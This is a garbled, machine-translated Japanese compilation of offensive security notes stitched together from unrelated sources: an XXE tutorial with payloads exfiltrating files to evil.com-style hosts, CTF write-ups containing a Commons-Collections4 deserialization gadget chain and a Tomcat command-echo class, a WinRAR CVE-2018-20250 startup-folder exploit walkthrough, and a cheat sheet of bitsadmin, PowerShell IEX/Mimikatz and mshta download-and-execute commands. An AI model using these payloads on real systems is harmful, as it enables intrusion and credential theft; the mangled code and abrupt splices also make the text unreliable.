システムの背後にあるコンテンツをユーザーが制御できる場合、ユーザーは自由に他のコンテンツに置き換えることができ、サーバーローカルファイル(file: ///など)またはリモートファイル(http://www.baidu.com/abc.txt)を読み取ることができます。

(4)パラメーターエンティティ

パラメーターエンティティは、ドキュメントのDTDおよび内部サブセットでのみ使用されます。 XMLの仕様定義では、パラメーターエンティティはDTDでのみ参照できます。パラメーターエンティティの宣言と参照はすべて、パーセントサインに基づいています。パラメーターエンティティへの参照はDTDで理解され、解析され、置換テキストはDTDの一部になります。このタイプのエンティティは、「%」文字(または%16進エンコード)で宣言され、解析と検証後のDTDのテキストまたはその他のコンテンツを置き換えるためにのみ使用されます。

tbftfy5mdyn8986.gif

!エンティティ%エンティティ名「エンティティ」

または

!エンティティ%エンティティ名システム「URI」

パラメーターエンティティはDTDファイルでのみ参照でき、他のエンティティはXMLドキュメントで参照されます。つまり、次の例では、パラメーターエンティティはDoctype内にあり、他のエンティティは外にあります

!doctype a [

!entity%name system "file: ///etc/passwd"

%名前;

]

パラメーターエンティティは、内部XMLエンティティよりもDTDでより高い解析優先度を持っています

エンティティは、nameに割り当てられた変数「file: ///etc/passwd」に相当します

最初に簡単なXML使用率コードを書き、例:としてPHPを取ります

?php

$ data=

file_get_contents( 'php: //input');

$ xml=

Simplexml_load_string($ data);

echo $ xml-name;

echo $ xml-name; -Nameは任意に変更できます。

以下に示すように、

XML实体注入漏洞的简单利用和学习 - Blackhair - Blackhair的博客

パラメーターエンティティの例:

!エンティティエンティティ名「エンティティ値」

?xmlバージョン='1.0'

encoding='utf-8'?

!doctype root [

!エンティティ%param1 '!エンティティ

内部'http://evil.com' '

%param1;

]

テスト[これは私のサイトです]

内部;/テスト

/根

のように:

!エンティティ%AAA

'233 '

パラメーターエンティティPARAM1には、テストタグのエンティティ参照パラメーターを置き換えるために使用される内部エンティティの宣言が含まれています。

ここでは、プロセスに注意を払う必要があります。 DTDのパラメーターエンティティの解析は、XMLテキストでの内部エンティティの解析よりも優先されます。

パラメーターエンティティにはいくつかの特性があり、これらの特性は、使用できる程度も決定します。

l DTD内のみ

今引用してください

lエンティティネスト

(5)内部エンティティ

ビルトインエンティティは、次のような予約されたエンティティです。

エンティティの引用文字

lt;

GT;

アンプ;

quot; '

アポス; '

内部エンティティとは、1つのエンティティ、つまりネストされた定義で定義されている別のエンティティを指します。

幸いなことに、エンティティのネストの場合に関しては、DTDは奇数と二重引用符をサポートしているため、奇数と二重引用の間隔を通じてネストされたエンティティとエンティティ間の関係を区別するために使用できます。実際に使用すると、通常、別のパラメーターエンティティをネストする必要があり、%番号を次のように処理する必要があります。

!エンティティ%param1

'!entity%xxeシステム' http://evil/log?%ペイロード; ' '

「また、16進数として書くことができます」

さらに:内部エンティティに対するこのサポートがインタープリターに依存するかどうかは、リンク4を参照してください

(6)エンティティの命名 +外部エンティティライティング

?XMLバージョン='1.0'エンコード='UTF-8'?

!doctype root [

!エンティティDTDシステム 'http://LOCALHOST:88/EVIL.XML'

]

valuedtd;/value

この名前のエンティティは、外部エンティティを呼び出し、エンティティを邪悪な.xmlで定義できないことを発見します。そうしないと、解析できません。指定されたエンティティは役に立たないように感じ、パラメーターエンティティははるかに使いやすいように感じます

(7)最初のタイプのネーミングエンティティ +外部エンティティ +パラメーターエンティティライティング

?XMLバージョン='1.0'エンコード='UTF-8'?

!doctypeデータ[

!エンティティ%ファイルシステム 'file: ///c: //test/1.txt'

!エンティティ%DTDシステム 'http://LOCALHOST:88/EVIL.XML'

%DTD; %全て;

]

ValueEnd;/value

Evil.xmlファイルのコンテンツはです

!エンティティ%all '!エンティティはシステムを送信しますhttp://LOCALHOST:88%ファイル;' '

呼び出しプロセスは次のとおりです。パラメーターエンティティDTDは、外部エンティティのvily.xmlを呼び出してから、パラメーターエンティティをすべて呼び出してから、名前付きエンティティ送信を呼び出します

(8)ネーミングエンティティ +外部エンティティ +パラメーターエンティティライティングの2番目のタイプ

?XMLバージョン='1.0'エンコード='UTF-8'?

!doctype root [

!エンティティ%ファイルシステム 'Php: //filter/convert.base64-encode/resource=c:/test/1.txt'

!エンティティ%DTDシステム 'http://LOCALHOST:88/EVIL.XML'

%DTD;

%送信;

]

ルート/ルート

Evil.xmlファイルのコンテンツは次のとおりです。

!エンティティ%ペイロード '!エンティティ#x25;システム 'http://LocalHost:88/?content=%file;' '%ペイロード;

コールプロセスは、最初の方法に似ています

5。 XML

のプロトコルサポート

di0c54np0mk8988.gif

上記の写真は、デフォルトのサポートプロトコルを示しており、サポートされているPHPなどの他の拡張プロトコルもサポートできます。

6.xxeインジェクションの定義

XXE注入、つまりXML外部エンティティ、XML外部エンティティ注入。 XMLエンティティを介して、「システム」キーワードにより、XMLパーサーはローカルファイルまたはリモートURIからデータを読み取ります。したがって、攻撃者はXMLエンティティを介して構築した悪意のある価値を渡すことができ、ハンドラーはそれを解析します。外部のエンティティを参照する場合、悪意のあるコンテンツを構築することにより、任意のファイルの読み取り、システムコマンドの実行、イントラネットポートの検出、イントラネットのWebサイトの攻撃などの危険につながる可能性があります。

1つまたは複数のXMLドキュメントで特定のデータを頻繁に使用するエンティティエンティティは、このデータ、つまりエンティティの「エイリアス」を事前に定義し、これらのドキュメントでデータが必要な場所でそれを呼び出すことができます。 XMLは、XMLドキュメントで使用される2つのタイプのエンティティを定義します

PHPで、libxml_disable_entity_loaderをTrueに設定すると、外部エンティティの注釈が無効になります。 DTDファイルに使用する別のパラメーターを入力します。エンティティ定義構文:

!doctypeファイル名[

!エンティティエンティティ名「エンティティコンテンツ」

]

定義されたエンティティは、「エンティティ名」を介してドキュメントで使用されます。例えば:

?xmlバージョン='1.0'エンコード='utf-8'?

!doctypeブックリスト[

!エンティティパブリッシャー「ABC Company」

]

ブックリスト

nameajax/name

価格$ 5.95/価格

ajax./descriptionの説明

PublisherPublisher;/Publisherここの出版社は「ABC Company」に置き換えられます

/本

nameajaxパターン/名前

価格$ 7.95/価格

説明ajax patterns./descriptionの導入

PublisherPublisher;/Publisherここの出版社は「ABC Company」に置き換えられます

/本

/ブックリスト

XMLには5つの事前定義されたエンティティ参照があります。

lt;

未満

GT;

より大きい

アンプ;

と番号

アポス;

'

省略記号

quot;

'

引用符

注:厳密に言えば、XMLにキャラクターと ''のみを持つことは違法です。 Ellipsis、引用、および法的よりも大きいが、それらをエンティティ参照に置き換えることは良い習慣です。

7.xxe脆弱性原理

XMLは外部からDTDファイルを読み取ることができるため、パスを別のファイルのパスに置き換えると、サーバーはXMLを解析するときにシステムの前にそのファイルのコンテンツをルート要素に割り当てると考えました。 XMLに表示する前にルート要素のコンテンツを許可する限り、そのファイルのコンテンツを読むことができます。これにより、任意のファイルを読み取る脆弱性が作成されます。

イントラネットホストのポートを指している場合はどうなりますか?エラーメッセージが指定されるかどうかにかかわらず、イントラネットホストのポートがエラーメッセージから開いているかどうかを判断できます。これにより、内部ポートが検出される問題が作成されます。さらに、一般的に言えば、サーバーがXMLを解析する2つの方法があります。 1つは、解析のために一度にXML全体をメモリにロードすることです。もう1つは、パーツを「ストリーミング」部分でロードして解析することです。 XML定義を再帰的に呼び出して膨大な量の定義を一度に呼び出すと、サーバーのメモリが消費され、サービス攻撃の拒否が生じます。

### XML注入の簡単な利用

ローカルXMLインターフェイスを構築し、最初にローカルXMLファイルを含め、リターン結果を表示し、次に通常の返品後にサーバーに置き換えます。

1。ファイルを読む

次のようにペイロード:

?xmlバージョン='1.0'エンコード='utf-8'?

!doctype xxe [

!要素名任意

!エンティティXXEシステム 'File: ///D: //PHPSTUDY //www //aa。

0x01 web

1.ezjava

ソースコードをダウンロードしてJARファイルを逆コンパイルし、Post /MyTestにはDeserializationの脆弱性https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302033773.pngがあることがわかります

最終的には役に立たないようです

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034773.png

プログラムをチェックして、Apacheの共通コレクションS4、およびその脱必要性のある利用クラスがパッチが適用されていないことを確認します。

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302034341.png

Commons-Collection4-4.0を一目で見たので、直接Ysoserialを使用してヒットしました

テストサイトは、それがCC4であることを発見しました

添付の記事

さらに、Spring-Echには、インターネット上で既製のPOCがあります

ホイールを作る!

パッケージmoe.orangemc;

com.sun.org.apache.xalan.internal.xsltc.trax.templatesimplをインポートします。

com.sun.org.apache.xalan.internal.xsltc.trax.traxfilterをインポートします。

javassist.classpoolをインポートします。

javassist.ctclassをインポートします。

Import org.apache.commons.collections4.transformer;

org.apache.commons.collections4.comparators.transformingcomparatorをインポートします。

org.apache.commons.collections4.functors.chainedtransformerをインポートします。

org.apache.commons.collections4.functors.constanttransformerをインポートします。

Import org.apache.commons.collections4.functors.instantiatetransformer;

javax.xml.transform.templatesをインポートします。

java.io.bytearrayinputStreamをインポートします。

java.io.bytearrayoutputStreamをインポートします。

java.io.objectinputStreamをインポートします。

java.io.objectOutputStreamをインポートします。

java.lang.reflect.fieldをインポートします。

java.util.base64をインポートします。

java.util.priorityqueueをインポートします。

パブリッククラスメイン{

public static void main(string [] args){

試す {

classpool classpool=classpool.getDefault();

ctclass ctclass=classpool.getctclass( 'meow');

byte [] bytes=ctclass.tobytecode();

templatesimpl templates=new TemplatesImpl();

フィールドF1=templates.getClass()。getDeclaredField( '_ name');

フィールドF2=templates.getClass()。getDeclaredField( '_ bytecodes');

f1.setAccessible(true);

f2.setAccessible(true);

f1.set(Templates、 'Meow');

f2.set(テンプレート、new byte [] [] {bytes});

TransformerClass?オブジェクトChainedTransformer=new ChainedTransformer(new constantTransformer(traxfilter.class)、new Instantiatetransformer(new class [] {templates.class}、new object [] {Templates}));

TransformingComparatorClass?オブジェクトTransformingComparator=new TransformingComparator(ChainedTransformer);

PriorityQueueInteger queue=new PriorityQueue(2);

queue.add(1);

queue.add(1);

フィールドf=queue.getClass()。getDeclaredField( 'Comparator');

f.setAccessible(true);

f.set(queue、TransformingComparator);

フィールドF3=queue.getClass()。getDeclaredField( 'Queue');

f3.SetAccessible(true);

f3.set(queue、new object [] {chainedtransformer、chainedtransformer});

bytearrayoutputStream baos=new bytearrayoutputStream();

ObjectOutputStream OOS=new objectOutputStream(baos);

oos.writeobject(queue);

oos.close();

string result=new String(base64.getEncoder()。encode(baos.tobytearray()));

system.out.println(result);

} catch(例外e){

e.printstacktrace();

}

}

}上記のコードによると、エコーできないことがわかりますが、Baiduによると、Apache Catalinaを使用してエコーするために使用できます。同時に、このクラスライブラリ:はパッケージに含まれています。

1049983-20221102172147791-1876168569.png

悪意のあるクラスを書く:

com.sun.org.apache.xalan.internal.xsltc.domをインポートします。

com.sun.org.apache.xalan.internal.xsltc.transletexceptionをインポートします。

com.sun.org.apache.xalan.internal.xsltc.runtime.abstracttransletをインポートします。

com.sun.org.apache.xml.internal.dtm.dtmaxisiteratorをインポートします。

com.sun.org.apache.xml.internal.serializer.serializationhandlerをインポートします。

パブリッククラスMeowは抽象的なトランスレットを拡張します{

public meow(){

素晴らしい();

this.namesArray=new String [] {'Meow'};

試す {

Java.lang.Refflt.field Contextfield=org.apache.catalina.core.standardcontext.class.getDeclaredfield( 'context');

Java.lang.Reflect.field ServiceField=org.apache.catalina.core.applicationcontext.class.getDeclaredfield( 'service');

Java.lang.Refflt.field requestfield=org.apache.coyote.requestinfo.class.getDeclaredfield( 'req');

Java.lang.Reflect.Method gethandlermethod=org.apache.coyote.abstractprotocol.class.getDeclaredMethod( 'gethandler'、null);

contextfield.setAccessible(true);

servicefield.setAccessible(true);

requestfield.setAccessible(true);

gethandlermethod.setAccessible(true);

org.apache.catalina.loader.webappclassloaderbase webappclassloaderbase=

(org.apache.catalina.loader.webappclassloaderbase)thread.currentthread()。getContextClassLoader();

org.apache.catalina.core.applicationcontext applicationContext=(org.apache.catalina.core.applicationcontext)contextfield.get(webappclassloaderbase.getResources()。getContext());

org.apache.catalina.core.standardservice StandardService=(org.apache.catalina.core.standardervice)servicefield.get(ApplicationContext);

org.apache.catalina.connector.connector [] connectors=starderservice.findconnectors();

for(int i=0; iconnectors.length; i ++){

if(4==コネクタ[i] .getscheme()。length()){

org.apache.coyote.protocolhandler protocolhandler=connectors [i] .getProtocolhandler();

if(org.apache.coyote.http11.abstracthtp1p1protocolのプロトコルハンドラーインスタンス){

class [] classes=org.apache.coyote.abstractprotocol.class.getDeclaredClasses();

for(int j=0; j classes.length; j ++){

if(52==(classes [j] .getname()。length())|| 60==(classes [j] .getname()。length()){

system.out.println(classes [j] .getname());

Java.lang.Refflt.field GlobalField=classes [j] .getDeclaredfield( 'Global');

Java.lang.Refflt.field Processorsfield=org.apache.coyote.requestgroupinfo.class.getDeclaredfield( 'processors');

Globalfield.SetAccessible(true);

processorsfield.setAccessible(true);

org.apache.coyote.requestgroupinfo requestgroupinfo=(org.apache.coyote.requestgroupinfo)Globalfield.get(gethandlermethod.invoke(Protocolhandler、null)));

java.util.list list=(java.util.list)processorsfield.get(requestgroupinfo);

for(int k=0; k list.size(); k ++){

org.apache.coyote.request temprequest=(org.apache.coyote.request)requestfield.get(list.get(k));

system.out.println(temprequest.getheader( 'tomcat'));

org.apache.catalina.connector.request request=(org.apache.catalina.connector.request)temprequest.getNote(1);

文字列cmd='' + 'cat /flag' + '';

string [] cmds=!system.getProperty( 'os.name')。tolowercase()。contains( 'win')? new String [] {'sh'、 '-C'、cmd} : new String [] {'cmd.exe'、 '/c'、cmd};

java.io.inputStream in=runtime.getRuntime()。exec(cmds).getInputStream();

java.util.scanner s=new Java.util.scanner(in).usedelimiter( '\ n');

string output=s.hasnext()? s.next(): '';

java.io.writer writer=request.getResponse()。getWriter();

java.lang.reft.fieldを使用してwriter=request.getResponse()。getClass()。getDeclaredfield( 'usingWriter');

whirewter.setAccessible(true);

whirewter.set(request.getResponse()、boolean.false);

writer.write(output);

writer.flush();

壊す;

}

壊す;

}

}

}

壊す;

}

}

} catch(例外e){

}

}

@オーバーライド

public void transform(dom document、serializationhandler [] handlers)transletexception {

}

@オーバーライド

public void transform(dom document、dtmaxisiterator iterator、serializationhandlerハンドラー)transletexception {

}

}

回った後、マスターY4erのYsoserialの修正バージョンを見つけました

https://github.com/y4er/ysoserial

Tomcatcmdecho Memory Horseと組み合わせてCC4を試してください

Java -jar yserial-main-1736fa42da-1.jar commonscollections4 'class:tomcatcmdecho' | base64

パッケージを送信するときは、コンテンツタイプを削除してください

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210302045474.png

コマンドは、2回目の送信時に正常に実行されました

web

passwdstealer

序文

元々はpasswdstealerです:)

テストポイントは、スプリングブートシナリオでのCVE-2024-21733の使用です。

脆弱性の基本原則の参照https://MP.Weixin.QQ.com/s?__biz=mzg2mdy2odc5ma==mid=2247484002IDX=1SN=7936818B93F22D9A656D8ED4848432C0

二度と繰り返しません。

スプリングブートシナリオでの使用

以前の分析は、Tomcat環境でのこの脆弱性の搾取には特定の条件が必要であることを示しています

タイムアウトエラーをトリガーします。これにより、Reset()がサーバー()のループ処理をトリガーするロジックを呼び出し、Tomcatが一度に複数のリクエストを処理し、漏れた機密データをエコーできるようにします。以下は、裸のスプリングブートシナリオでそれを使用する方法を見つけることです。

テスト環境:Springboot V2.6.13、Tomcatは脆弱性バージョン9.0.43に置き換えられ、ルーティングコントローラーは追加されていません。

step1トリガータイムアウト

目的は、read()を投げるioexception 21pvd0dyvaw554.pngを作成することです

リセット()をスキップして、制限の不整列を引き起こします。

上記の分析でPOCを使用するには、CLが実際の値iuzfgd4flc1555.pngを超えるCLを使用したパッケージを投稿します

AAAルートが存在せず、POSTデータがTomcatによって処理されないため、数秒で戻りません。

ここでは、投稿データを処理できるリクエストを見つける必要があります。

ここでは、MultiPart/Form-Dataを使用してデータをアップロードします。

1fjnvy0dzwr556.png

タイムアウトタイムアウトは正常にトリガーされました

step2はループ
に入ります

次に、リクエストがタイムアウト後にhttp11processor.java#service()のループをまだ入力するように、条件2を満たすようにしてください。デバッグ後、これは条件nujy1x41bgb557.pngを満たしていないことがわかりました

KeepAliveはfalseになり、コールスタックを上向きにバックトラックして理由を見つけます。

e4nvvapkwfa558.png e51rqcit0cp559.png

StatusCodeがStatusDropSconnectionにある場合、KeepAliveはfalseに設定されます

バックトラッキングを続けて、ステータスコードが500に設定されている場所を見つけてください。

qtvqackm4md560.png

追いかけて、それをトリガーしたのはservletexceptionであることがわかりますmi1qiewjnz0561.png

フォローアップを続け、最終的にトリガーされたIOExceptionがfileuploadexception tsgqajcwmlt562.pngとしてパッケージ化されたことを見つけます

ここでのIOExceptionは、実際にはDocardBodyDataのときに使い果たされました。捕まっていないので、上位に直接投げられました。ymdcx1kuod4563.png

この時点で、500の生成の理由を見つけました。500の生成からのリクエストを防ぐ方法を探してみましょう。これは、docardbodydata()をioexceptionを投げることなく、タイムアウトを引き起こす可能性があります。

最初に通常のマルチパートパッケージを使用してテストします。

ここにいくつかの境界基準があります

boundary=--- webkitformboundary7ma4ywxktrzu0gwがコンテンツタイプで設定されていると仮定します。

次に------ WebKitFormBoundary7MA4YWXKTRZU0GWは、パーツの始まりを表します(2つの最初の - )

----- webkitformboundary7ma4ywxkttrzu0gw--フォームの終わりを表します(2つは前後に追加されます - )

ここでは、頭と尾fclxhuh5frc564.pngを備えたマルチパートアップロードパッケージを構築します

彼はreadbounddary()に足を踏み入れることができることがわかりました

btobsim4nai565.png

readbounddary()をフォローアップし続けます。上記の境界基準によれば、マーカー[0]=readbyte();最後の2桁を読んでいます - またはCLRFは、境界の終わりのシンボルです。4k5kzzlg54v567.png

しかし、これを行うようにリクエストパッケージを設定した場合、つまり、境界エンドフラグはありませんか?3p5fj5k4qz0568.png

パケットは続き続け、readbyte()がデータを読み取ることができない場合(送信しなかったため)、最終的にfill()を呼び出し、fillにioexception(step1の位置)を引き起こすことがわかります。

sl5ozee0mxa569.png

現時点では、readbyte()はioExceptionを投げますが、読み取りに巻き込まれ、不正なストリームエクセプトとしてパッケージ化されます。

この時点で、私はSkippreamble関数に戻り、MalformedStreamExceptionが捕まえることを発見し、500を引き起こすためにIOExceptionを上方に投げ続けることができなくなりました。

} catch(最終的なMalformedstreamexception e){

falseを返します。この時点で、タイミングを出したが404を返したリクエストパッケージを正常に構築し、404はStatusDropSconnectionに含まれていないため、whileループを入力できます。2sriipmg5zp570.png

step3漏れecho

この手順は、トレースリクエストを使用するために直接使用できます。トレースリクエスト

xpmjia2dou4571.png

end utilization

ここでは、通常のユーザーのヘッダーにフラグを漏らすという目標を設定します。

まず、敏感な情報を内部に含むリクエスト(このリクエスト中に被害者が送信したと仮定して)を送信します。この時点で、入力バッファはこのように見えます。wcnxzmgjor0572.png

攻撃者はリクエストを送信し、通常42rz1guccdi573.pngを返します

この時点で、入力バッファ内の状況はこのようになりました。qjc5yg0r5ub574.png

最後の最も重要なステップは、攻撃者が瞑想的なマルチパートパッケージ13pcgtfwo55575.pngを送信することです

この時点で、マルチパートパッケージがタイムアウトした後、whileループに入り、パッケージの送信を継続します。したがって、Nextrequestの後、入力バッファーは完全なトレースリクエストになり、フラグは元のバッファーを上書きすることによりトレース要求のヘッダーになります。

fdqlceg4nyr576.png

最後に、フラグはトレースのエコーによって得られます。

tm2cidr02c2577.png

ここで手に入れるのはヘッダー情報ですが、実際に体を取得できます。これはもう少し面倒です。被害者パッケージの前にCLRFでいっぱいのパッケージを送信し、事前にバッファーをCLRFで満たし、トレースで要求されたヘッダーとしてボディを上書きします。

ezql

パッケージorg.example;

com.ql.util.express.defaultContextをインポートします。

com.ql.util.express.expressrunnerをインポートします。

com.ql.util.express.config.qleexpressruntrategyをインポートします。

com.sun.net.httpserver.httpserverをインポートします。

com.sun.net.httpserver.httphandlerをインポートします。

com.sun.net.httpserver.httpexchangeをインポートします。

sun.misc.base64decoderをインポートします。

java.io.ioexceptionをインポートします。

java.io.inputStreamをインポートします。

java.io.outputStreamをインポートします。

java.net.inetsocketAddressをインポートします。

java.nio.charset.standardcharsetsをインポートします。

java.util.base64をインポートします。

java.util.hashsetをインポートします。

java.util.listをインポートします。

java.util.setをインポートします。

パブリッククラスメイン{

public static void main(string [] args)throws ioexception {

int port=integer.parseint(system.getenv()。getordefault( 'port'、 '8000'));

httpserver server=httpserver.create(new inetsocketAddress(port)、0);

server.createcontext( '/'、new httphandler(){

@オーバーライド

public voidハンドル(httpexchange req)がioexceptionをスローします{

int code=200;

文字列応答;

string path=req.getRequesturi()。getPath();

if( '/ql'.equals(path)){

試す {

文字列式=getRequestBody(req);

Express=new String(base64.getDecoder()。decode(express));

ExpressRunner Runner=new ExpressRunner();

qleexpressrunstrategy.setforbidinovokesecurityRiskMethods(true);

SetString secureMethods=new Hashset();

securemethods.add( 'java.lang.integer.valueof');

qleexpressrunstrategy.setsecuremethods(securemethods);

DefaultContextString、Object Context=new DefaultContext();

応答='0';

試す {

Response=string.valueof(runner.execute(express、context、(list)null、false、false));

} catch(例外e){

System.out.println(e);

}

//string param=req.getRequesturi()。getQuery();

//response=new initialContext()。lookup(param).toString();

} catch(例外e){

e.printstacktrace();

Response=':(';

}

} それ以外{

コード=404;

応答='見つかりません';

}

req.sendresponseheaders(code、response.length());

outputStream os=req.getResponseBody();

os.write(respons.getBytes());

os.close();

}

});

server.start();

System.out.printf( ':%d%n'、portで聞くサーバー);

}

private static string getRequestBody(httpexchange Exchange)はioExceptionをスローします{

inputStream is=exchange.getRequestBody();

byte [] buffer=new byte [1024];

int bytesRead;

stringbuilder body=new StringBuilder();

while((bytesread=is.read(buffer))!=-1){

body.append(new String(Buffer、0、BytesRead、StandardCharsets.utf_8));

}

return body.toString();

}

}

単純なQL式

解決策1

ソリューション1は、実際には少し予期せぬものに偏っており、Qleexpressionの特徴を忘れています。まず、CB依存関係が付属するActiveMQ依存関係があることに気付きました。したがって、脱力化利用チェーンが確認されています。

2つ目は、脱審成をトリガーする方法です。脱派化のトリガーのための2つのアイデアは簡単ではありません。

TemplatesJndiは後者に属します。JDBCrowsetのセッターメソッドを呼び出してルックアップを押すことができます

com.sun.rowset.idbcrowsetimplをインポートします。

jdbc=new jdbcrowsetimpl();

JDBC.DATASOURCENAME='

0x01脆弱性の説明

最近、チェックポイントチームは19年間存在してきたWinrarについての脆弱性を発揮し、それを使用して被害者のコンピューターの制御を得ることができます。攻撃者は、この脆弱性を使用して悪意のある圧縮ファイルを構築する必要があります。これは、被害者がWinrarを使用して悪意のあるファイルを解凍するときにトリガーされます。

脆弱性は、2006年に基本的な保護メカニズム(ASLR、DEPなど)なしでコンパイルされたWinrarが使用した古い動的な動的リンクライブラリUNACEV2.DLLによって引き起こされます。動的リンクライブラリの目的は、ACE形式ファイルを処理することです。 WinrarがACEファイルを解凍すると、ファイル名が十分にフィルタリングされていないため、ディレクトリのトラバーサルを実現し、悪意のあるファイルを任意のディレクトリに書き込み、起動項目にファイルを書き込み、コード実行になります。

0x02脆弱性の影響

インパクトソフトウェア:

Winrar 5.70ベータ1

Bandizip=6.2.0.0

良好な圧力(2345圧縮)=5.9.8.10907

360圧縮=4.0.0.1170

0x03脆弱性ハザード

1。この脆弱性を通じて、ハッカーは悪意のあるプログラムをユーザースタートアップアイテムに入れて、ターゲットコンピューターが再起動するときにターゲットホストにアクセス許可を取得できます。

2。システムの許可を得て入れることができます

c:/windows/system32/wbem/mof/nullevt.mofは、ターゲットホストの許可を直接取得します。

3. DLLハイジャック用の悪意のあるDLLファイルを配置して、ターゲットホストにアクセス許可を取得するか、ユーザーホストなどにファイルを上書きしてターゲットホストへのアクセス許可を取得できます。

0x04脆弱性の詳細

の脆弱性は、主に、WinrarがACE圧縮パッケージを解凍するために使用される動的リンクライブラリUNACEV2.DLLによって引き起こされます。 unacev2.dllでファイル名を処理する場合、CRCのみが検証されます。ハッカーは、圧縮パッケージのCRC検証コードを変更して、減圧中にファイル名を変更して、このパストラバーサルの脆弱性をトリガーすることができます。ただし、Winrar自体はファイル名を検出し、いくつかの制限があります。通常のユーザーがRARファイルを解凍した場合、システム権限を必要とするフォルダーに悪意のあるペイロードを解凍することはできません。ユーザーがファイルをデフォルトのc: \ users \ administator \ downloadsディレクトリにダウンロードすると、構築します

c: \ c:c:/appdata \ roaming \ microsoft \ windows \ startmenu \ programs \ startup \ test.exe

WinrarのCleanPath関数処理の後になります

c:/appdata \ roaming \ microsoft \ windows \ startmenu \ programs \ startup \ test.exe

その中で、C:は現在のパスに変換されます。 Winrarで開くと、現在のパスはC: \ Program Files \ Winrarです。右クリックしてフォルダー内のxxx \に減圧すると、現在のパスは圧縮パッケージが配置されているパスです。

ユーザーが右クリックしてフォルダー内のXXに減圧すると、悪意のあるペイロード減圧アドレスが

c: \ uses \ administrator \ downloads ./appdata \ roaming \ microsoft \ windows \ startmenu \ programs \ startup \ test.exe

現在のユーザーのスタートアイテムです。このような使用率は、1つのパストラバーサルから任意のコマンド実行までプロセスを完了します。

0x05脆弱性の再発

この脆弱性の実装プロセス:最初に新しいファイルを作成し(またはバックドアエグジファイルを指定できます)、Winaceを使用してそれを圧縮し、ファイル名を変更してディレクトリトラバーサルの脆弱性を実装し、ファイルを任意のディレクトリに減圧します。

Winaceと010Editorの主な必要なツールは次のとおりです。

http://D3GKUJ25U7YVFK.CLOUDFRONT.NET/97M4@S345U2A5/INSTALLER_WINACE_2.69.EXE

https://download.sweetscape.com/010editorwin64installer901.exe

1。Winaceをダウンロードしてインストールします。インストールが完了したら、arbitrary.txtの名前を記載した新しいテキストファイルをここに作成します。

rhxo4311wtw8458.png2。 Winaceを使用して圧縮するには、こちらからフルパスを保存します。

3xyrge5kufq8459.jpg

3.スクリプトを介してRARのヘッダー情報を確認すると、スクリプトのダウンロードアドレスは次のとおりです。

https://raw.githubusercontent.com/backlion/acefile/master/acefile.py

python acefile.py - Headers Backlion.ace

masxs1ibsek8460.png

次のパラメーターに注意する必要があります。

HDR_CRCHDR_SIZEFILENAME LENGTH FILENAME

4.私たちはそれを変更し始め、スタートアップアイテムに配置します

c: \ programdata \ microsoft \ windows \ start menu \ programs \ backlion.txt。ここの変更は次のとおりです。

k1q3bqdy1ug8461.png

5.ファイルの場所を選択すると、ファイルの長さが65であることがわかります(小数点以下、ここで16進変換する必要があります)

ibvm1rukgll8462.png

長さは65(小数)-0x41です

ql1wvyaizfi8463.png

6。その変更の長さの位置:00 41(変更順序は背面から前後です)

rofagzmreao8464.png次に、hdr_sizeの値を変更します。ここで次の位置を選択してください。その長さは96であることがわかります(10進、16進数に変換する必要があります)。

hr0ujxf5dsu8465.pngの長さは96(小数)-0x0060です

bht5i42smvc8466.png

変更された場所は次のとおりです。

vdsqhlgok228467.png

7。その後、この時点でAceFile.pyを使用してACEファイルを解析すると、エラーを作成できます/

d: \ python3python acefile.py - headers backlion.ace

[+] Right_hdr_crc :0xcda5 | struct b '\ xa5 \ xcd'

[*] current_hdr_crc :0xed55 | struct b'u \ xed '

backlion.ace: correstededarchiveerror:ヘッダーCRCが失敗しました

reavgdq5yhh8468.png8。正しいCRC値が0xCDA5であることがわかります。したがって、次の変更を行います。

gfpzgm4c4tu8469.png9。再分析され、成功を見つけました

j4ug0szbobj8470.png

10. backlion.rceファイルを解凍し、スタートアップエントリの下でbacklion.txtファイルとしてファイルをリリースします。

gb2ltedbs118471.png

スクリプトオートメーション利用:

また、カスタムスクリプトの実行を添付します。

https://github.com/backlion/cve-2018-20250

その中の:CALC.EXEは、Trojanファイルに置き換えることができます。テストのために、私はそれを計算機に置き換えます、そして、world.txtとhello.txtはあなたが圧縮する必要があるファイルです。

exp.pyスクリプトを実行した後、test.rarファイルが自動的に生成されます。

vd0pj0l112r8472.png

Test.rarファイルを開き、現在のユーザーの起動オプションの下でバックドアファイルhh.exeを作成するには、被害者が必要です。

c: \ users \これは現在のコンピューターで使用されるユーザー名\ appdata \ roaming \ microsoft \ windows \ start menu \ programs \

c: \ users \ xxx \ appdata \ roaming \ microsoft \ windows \ start menu \ programs \ startup

tl3k2wrylwm8473.png

0x06修理提案

2つの方法があります

最新バージョンへのアップグレード、Winrarは現在5.70ベータ1です

インストールディレクトリでunacev2.dllファイルを削除します

0x07参照

https://Research.checkpoint.com/extracting-code-execution-from-winrar/

https://fuping.site/2019/02/21/winrar-extracting-code-execution-validate/

https://mp.weixin.qqc.com/s/j8g9tjq2npg0cfhxl_sqgq

https://github.com/ridter/acefile

wiz_tmp_tag id='wiz-table-range-border' contentedable='false' style='display: none;'

1.BitsAdminコマンド(指定されたパス、Win7以降にコマンドのみをダウンロードできます):

bitsadmin/mydownloadjob/download/download/priority normal 'http://img5.5.5.netease.com/photo/0001/2013-03-28/8R1BK3QO3R710001.jpg' 'D: \ ABC.jpg' '' '' d: \

BitsAdmin /Transfer D90f 3http://Site.com/A%AppData%\ D90f.exe%AppData%\ D90f.exedel%appdata%\ d90f.exe

2.PowerShellの名前のダウンロードと実行:( Win7以降)

PowerShell IEX(new-Object Net.WebClient).DownLoadString( 'https://Raw.githubusercontent.com/mattifestation/powersploit/master/exfiltration/invoke-mimikatz.ps1'); Invoke-Mimikatz

Powershell -exec bypass -f \\ webdavserver \ folder \ payload.ps1

powershell (new-object System.Net.WebClient).DownloadFile( 'http://192.168.168.183/1.exe','C:\111111111111111111111.exe')

PowerShell -W Hidden -C(new-Object System.net.WebClient).DownLoadFile( 'http://img5.cache.netease.com/photo/0001/2013-03-28/8r1bk3qo3r710001.jpg'、 'd3360 \\ 1.jpg')

3.mshtaコマンドダウンロードと実行

MSHTA VBScript:Close(execute( 'getObject(' 'script:http://webserver/payload.sct' ')))))

MSHTA http://Webserver/payload.hta ---短いドメイン名:http://SINA.lt/ - MSHTA http://T.CN/RYUQYF8

mshta \\ webdavserver \ folder \ payload.hta

payload.hta

HTML

